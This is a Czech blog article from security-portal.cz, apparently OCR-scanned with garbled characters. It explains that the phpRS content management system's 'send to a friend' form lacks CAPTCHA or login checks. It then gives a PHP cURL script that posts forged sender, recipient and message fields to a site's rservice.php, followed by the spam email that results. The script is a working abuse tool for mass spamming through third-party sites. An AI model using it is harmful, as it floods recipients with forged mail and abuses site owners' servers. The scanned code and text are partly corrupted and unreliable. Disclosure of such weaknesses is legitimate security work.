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Redakéni systém phpRS - kamarad vsech spameru

Vlozil/a RubberDuck [1], 31 Rijen, 2012 - 14:23

e Programming [2]
e Spam [3]

Redak¢ni systém phpRS asi neni nutné prilis predstavovat. Jeden z mala redak¢nich systémU ¢eské
vyroby, které se u nas vyznamnéji prosadil. Kdyz jsem se prohrabéaval jeho zdrojovymi kédy,
uvédomil jsem si, jak snadné je zneuzit jeho funkcionalit k rozesilani spamu.

Pod kazdym clankem je tlacitko umoznujici odeslat odkaz na ¢lanek na libovolny mail a z libovolné
mailové adresy. To by samo o sobé nebylo problém. Ale je mozné pfipojit i kratky text a tady zacina
ta prava legrace. Odesilani mailu neni podminéno zadnou kontrolou v podobé CAPTCHA nebo 'pouze
registrovani uzivatelé'.
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Tamper Data s odchycenym HTTP requestem s informacemi pro odesilani e-mailu

Jak tedy cely koncept vypada? Ve své podstaté je velmi trividlni. Potfebujeme tri zakladni véci:
Seznam webovych stranek bézicich na phpRS, parser stranky a skript odesilajici nadefinovana POST
data na skript rservice.php. Parser strdnky ma za ukol ziskat ¢islo ¢lanku a titulek ¢lanku na dané
URL adrese. Skript na odesilani nadefinovanych POST dat jen prevezme ziskané ¢islo ¢lanku a titulek
a odeSle data na danou stranku. Ukazkovy kéd pro odeslani POST dat na zadanou URL adresu by

mohl vypadat nasledovné:

<?php
SendDat a(' http://ww. supersvet.cz/rservice. php');

"Done!";

exit;
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function SendData($url){

$fields_string = ;
$ch = curl _init();

$fields = array(' akce' => urlencode('sendinfo'),
'ci slocl anku' => url encode('2008100001'),
"prtitul ek’ => urlencode('Zvene vas na Dat abazovy sv?t 2008'),
"prprijence’ => urlencode('victim@muil.at'),
"prodesilatel' => urlencode('xyz@yz.at'),
"przprava' => urlencode(' Tohl e neni spam
hxxp://security-portal.cz'));

($fields $key=>%val ue) {
$fields_string .= $key.'=".S$value.' & ;
}

rtrim $fields_string, '&);

curl _setopt($ch, CURLOPT _URL, $url);

curl _setopt($ch, CURLOPT_PCST, count ($fields));

curl setopt($ch, CURLOPT _POSTFI ELDS, $fields _string);
$result = curl _exec($ch);

curl _cl ose($ch);

?>

Odpovedét Odp. viem Preposlat Smazat hahlasit spam Dalsi akce DN 2712 B
Fieamét Informace o zajimavém clanku na serveru Super Svét: IT server, phpRS projekt Zpdtnawjpis | el Tisnout

Od xyr@xyrat g Zobrazit podrobnosti
nu. <RubberDuck@cenirum.cz= &

Datumn:  Dnes 12:40

Zdd se, Ze pfi &éni nasledujiciho &lanku si na Vas nékdo vzpomnél a zaslal Vam tento informadni e-maill

Clanek: Zvemne vis na Dalabdzowy svét 2008
hittp:fiwww supersvet cziiew php?cislodanku=2008100001

- Zprava od odesilatele -
Tohle neni spam: hitp.isecurity-poral cz

[5]
Ukazka mailu zaslaného pomoci vyse zminéného PHP skriptu

URL c¢lanku:
https://security-portal.cz/clanky/redak%C4%8Dn%C3%AD-syst%C3%A9m-phprs-kamar%C3%A1d-v%
C5%Alech-spamer%C5%AF

Odkazy:
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